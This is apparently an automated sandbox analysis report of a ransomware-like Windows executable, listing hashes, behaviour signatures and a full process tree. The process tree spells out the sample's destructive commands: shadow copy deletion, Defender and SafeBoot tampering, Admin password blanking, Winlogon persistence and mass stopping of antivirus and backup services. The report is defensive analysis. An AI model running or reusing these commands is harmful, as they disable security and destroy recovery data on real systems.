Resubmissions

11-01-2024 13:59

240111-ractvahbep 10

09-01-2024 17:33

240109-v46wkagba2 10

Analysis

  • max time kernel
    0s
  • max time network
    4s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    11-01-2024 13:59

Errors

Reason
Machine shutdown

General

  • Target

    58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe

  • Size

    82KB

  • MD5

    e01e11dca5e8b08fc8231b1cb6e2048c

  • SHA1

    4983d07f004436caa3f10b38adacbba6a4ede01a

  • SHA256

    58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f

  • SHA512

    298bfb9fe55ddd80f1c6671622d7e9e865899a855b5bb8e0d85d8520160cedca6fd8bc72c9881925477bcab883bf6e6f4c69f997b774b74fe992e023a81269de

  • SSDEEP

    1536:PcW4lAJGGnzjoih/NDh/NDuk+XkGAK/hztXcag+PlbBfkWIyvZrw281r5XsmCZEe:UWNGszjoih/NDh/NDuk+XkGAK/hztXcQ

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 14 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 3 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 53 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
    "C:\Users\Admin\AppData\Local\Temp\58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1728
    • C:\Windows\system32\reg.exe
      "reg.exe" delete HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend /f
      2⤵
      • Modifies registry key
      PID:2992
    • C:\Windows\system32\bcdedit.exe
      "bcdedit.exe" /set {default} safeboot network
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:2668
    • C:\Windows\system32\net.exe
      "net.exe" user Admin ""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2672
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 user Admin ""
        3⤵
          PID:2676
      • C:\Windows\system32\shutdown.exe
        "shutdown.exe" /r /t 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2728
      • C:\Windows\system32\reg.exe
        "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe","C:\Windows\system32\userinit.exe" /f
        2⤵
        • Modifies WinLogon for persistence
        PID:2344
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" Get-MpPreference -verbose
        2⤵
          PID:2548
        • C:\Windows\system32\cmd.exe
          "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
          2⤵
            PID:2280
          • C:\Windows\system32\vssadmin.exe
            "vssadmin.exe" Delete Shadows /all /quiet
            2⤵
            • Interacts with shadow copies
            PID:684
          • C:\Windows\system32\vssadmin.exe
            "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
            2⤵
            • Interacts with shadow copies
            PID:2376
          • C:\Windows\system32\vssadmin.exe
            "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
            2⤵
            • Interacts with shadow copies
            PID:2412
          • C:\Windows\system32\vssadmin.exe
            "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
            2⤵
            • Interacts with shadow copies
            PID:1564
          • C:\Windows\system32\vssadmin.exe
            "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
            2⤵
            • Interacts with shadow copies
            PID:2492
          • C:\Windows\system32\vssadmin.exe
            "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
            2⤵
            • Interacts with shadow copies
            PID:2232
          • C:\Windows\system32\vssadmin.exe
            "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
            2⤵
            • Interacts with shadow copies
            PID:780
          • C:\Windows\system32\vssadmin.exe
            "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
            2⤵
            • Interacts with shadow copies
            PID:2960
          • C:\Windows\system32\vssadmin.exe
            "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
            2⤵
            • Interacts with shadow copies
            PID:608
          • C:\Windows\system32\vssadmin.exe
            "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
            2⤵
            • Interacts with shadow copies
            PID:1388
          • C:\Windows\system32\vssadmin.exe
            "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
            2⤵
            • Interacts with shadow copies
            PID:2856
          • C:\Windows\system32\vssadmin.exe
            "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
            2⤵
            • Interacts with shadow copies
            PID:1412
          • C:\Windows\system32\vssadmin.exe
            "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
            2⤵
            • Interacts with shadow copies
            PID:584
          • C:\Windows\system32\vssadmin.exe
            "vssadmin.exe" Delete Shadows /all /quiet
            2⤵
            • Interacts with shadow copies
            PID:696
          • C:\Windows\system32\taskkill.exe
            "taskkill.exe" /IM mydesktopservice.exe /F
            2⤵
            • Kills process with taskkill
            PID:1888
          • C:\Windows\system32\taskkill.exe
            "taskkill.exe" /IM mydesktopqos.exe /F
            2⤵
            • Kills process with taskkill
            PID:1196
          • C:\Windows\system32\taskkill.exe
            "taskkill.exe" /IM mspub.exe /F
            2⤵
            • Kills process with taskkill
            PID:1948
          • C:\Windows\system32\sc.exe
            "sc.exe" config SstpSvc start= disabled
            2⤵
            • Launches sc.exe
            PID:1776
          • C:\Windows\system32\sc.exe
            "sc.exe" config SQLWriter start= disabled
            2⤵
            • Launches sc.exe
            PID:2068
          • C:\Windows\system32\sc.exe
            "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
            2⤵
            • Launches sc.exe
            PID:2464
          • C:\Windows\system32\sc.exe
            "sc.exe" config SQLTELEMETRY start= disabled
            2⤵
            • Launches sc.exe
            PID:2188
          • C:\Windows\system32\net.exe
            "net.exe" stop sophos /y
            2⤵
              PID:1680
            • C:\Windows\system32\net.exe
              "net.exe" stop CAARCUpdateSvc /y
              2⤵
                PID:2004
              • C:\Windows\system32\net.exe
                "net.exe" stop CASAD2DWebSvc /y
                2⤵
                  PID:2988
                • C:\Windows\system32\net.exe
                  "net.exe" stop AcronisAgent /y
                  2⤵
                    PID:304
                  • C:\Windows\system32\net.exe
                    "net.exe" stop AcrSch2Svc /y
                    2⤵
                      PID:2768
                    • C:\Windows\system32\net.exe
                      "net.exe" stop BackupExecRPCService /y
                      2⤵
                        PID:2784
                      • C:\Windows\system32\net.exe
                        "net.exe" stop BackupExecManagementService /y
                        2⤵
                          PID:2964
                        • C:\Windows\system32\net.exe
                          "net.exe" stop BackupExecJobEngine /y
                          2⤵
                            PID:2812
                          • C:\Windows\system32\net.exe
                            "net.exe" stop BackupExecDiveciMediaService /y
                            2⤵
                              PID:1252
                            • C:\Windows\system32\net.exe
                              "net.exe" stop BackupExecAgentBrowser /y
                              2⤵
                                PID:1268
                              • C:\Windows\system32\net.exe
                                "net.exe" stop BackupExecAgentAccelerator /y
                                2⤵
                                  PID:1408
                                • C:\Windows\system32\net.exe
                                  "net.exe" stop BackupExecVSSProvider /y
                                  2⤵
                                    PID:1524
                                  • C:\Windows\system32\net.exe
                                    "net.exe" stop PDVFSService /y
                                    2⤵
                                      PID:2408
                                    • C:\Windows\system32\net.exe
                                      "net.exe" stop veeam /y
                                      2⤵
                                        PID:1488
                                      • C:\Windows\system32\net.exe
                                        "net.exe" stop VeeamNFSSvc /y
                                        2⤵
                                          PID:2592
                                        • C:\Windows\system32\net.exe
                                          "net.exe" stop VeeamDeploymentService /y
                                          2⤵
                                            PID:1208
                                          • C:\Windows\system32\net.exe
                                            "net.exe" stop VeeamTransportSvc /y
                                            2⤵
                                              PID:1608
                                            • C:\Windows\system32\net.exe
                                              "net.exe" stop VSNAPVSS /y
                                              2⤵
                                                PID:1576
                                              • C:\Windows\system32\net.exe
                                                "net.exe" stop stc_raw_agent /y
                                                2⤵
                                                  PID:1220
                                                • C:\Windows\system32\net.exe
                                                  "net.exe" stop zhudongfangyu /y
                                                  2⤵
                                                    PID:1308
                                                  • C:\Windows\system32\net.exe
                                                    "net.exe" stop YooIT /y
                                                    2⤵
                                                      PID:2584
                                                    • C:\Windows\system32\net.exe
                                                      "net.exe" stop YooBackup /y
                                                      2⤵
                                                        PID:2944
                                                      • C:\Windows\system32\net.exe
                                                        "net.exe" stop QBCFMonitorService /y
                                                        2⤵
                                                          PID:2936
                                                        • C:\Windows\system32\net.exe
                                                          "net.exe" stop Intuit.QuickBooks.FCS /y
                                                          2⤵
                                                            PID:2940
                                                          • C:\Windows\system32\net.exe
                                                            "net.exe" stop QBIDPService /y
                                                            2⤵
                                                              PID:2932
                                                            • C:\Windows\system32\net.exe
                                                              "net.exe" stop QBFCService /y
                                                              2⤵
                                                                PID:2908
                                                              • C:\Windows\system32\net.exe
                                                                "net.exe" stop RTVscan /y
                                                                2⤵
                                                                  PID:2892
                                                                • C:\Windows\system32\net.exe
                                                                  "net.exe" stop SavRoam /y
                                                                  2⤵
                                                                    PID:2876
                                                                  • C:\Windows\system32\net.exe
                                                                    "net.exe" stop ccSetMgr /y
                                                                    2⤵
                                                                      PID:2920
                                                                    • C:\Windows\system32\net.exe
                                                                      "net.exe" stop ccEvtMgr /y
                                                                      2⤵
                                                                        PID:2888
                                                                      • C:\Windows\system32\net.exe
                                                                        "net.exe" stop DefWatch /y
                                                                        2⤵
                                                                          PID:2872
                                                                        • C:\Windows\system32\net.exe
                                                                          "net.exe" stop NetBackup BMR MTFTP Service /y
                                                                          2⤵
                                                                            PID:860
                                                                          • C:\Windows\system32\net.exe
                                                                            "net.exe" stop BMR Boot Service /y
                                                                            2⤵
                                                                              PID:2076
                                                                            • C:\Windows\system32\net.exe
                                                                              "net.exe" stop mfewc /y
                                                                              2⤵
                                                                                PID:1580
                                                                              • C:\Windows\system32\net.exe
                                                                                "net.exe" stop McAfeeDLPAgentService /y
                                                                                2⤵
                                                                                  PID:2056
                                                                                • C:\Windows\system32\net.exe
                                                                                  "net.exe" stop avpsus /y
                                                                                  2⤵
                                                                                    PID:2380
                                                                                • C:\Windows\system32\LogonUI.exe
                                                                                  "LogonUI.exe" /flags:0x0
                                                                                  1⤵
                                                                                    PID:2528
                                                                                  • C:\Windows\system32\LogonUI.exe
                                                                                    "LogonUI.exe" /flags:0x1
                                                                                    1⤵
                                                                                      PID:2748

                                                                                    Network

                                                                                    MITRE ATT&CK Enterprise v15

                                                                                    Replay Monitor

                                                                                    Loading Replay Monitor...

                                                                                    Downloads

                                                                                    • memory/1728-0-0x0000000000D40000-0x0000000000D5A000-memory.dmp

                                                                                      Filesize

                                                                                      104KB

                                                                                    • memory/1728-1-0x000007FEF5B70000-0x000007FEF655C000-memory.dmp

                                                                                      Filesize

                                                                                      9.9MB

                                                                                    • memory/1728-2-0x000000001AFA0000-0x000000001B020000-memory.dmp

                                                                                      Filesize

                                                                                      512KB

                                                                                    • memory/1728-11-0x000007FEF5B70000-0x000007FEF655C000-memory.dmp

                                                                                      Filesize

                                                                                      9.9MB

                                                                                    • memory/2528-10-0x0000000002E10000-0x0000000002E11000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/2548-7-0x000000001B7A0000-0x000000001BA82000-memory.dmp

                                                                                      Filesize

                                                                                      2.9MB

                                                                                    • memory/2548-9-0x0000000002D10000-0x0000000002D90000-memory.dmp

                                                                                      Filesize

                                                                                      512KB

                                                                                    • memory/2548-8-0x000007FEEE4C0000-0x000007FEEEE5D000-memory.dmp

                                                                                      Filesize

                                                                                      9.6MB

                                                                                    • memory/2748-12-0x0000000002B30000-0x0000000002B31000-memory.dmp

                                                                                      Filesize

                                                                                      4KB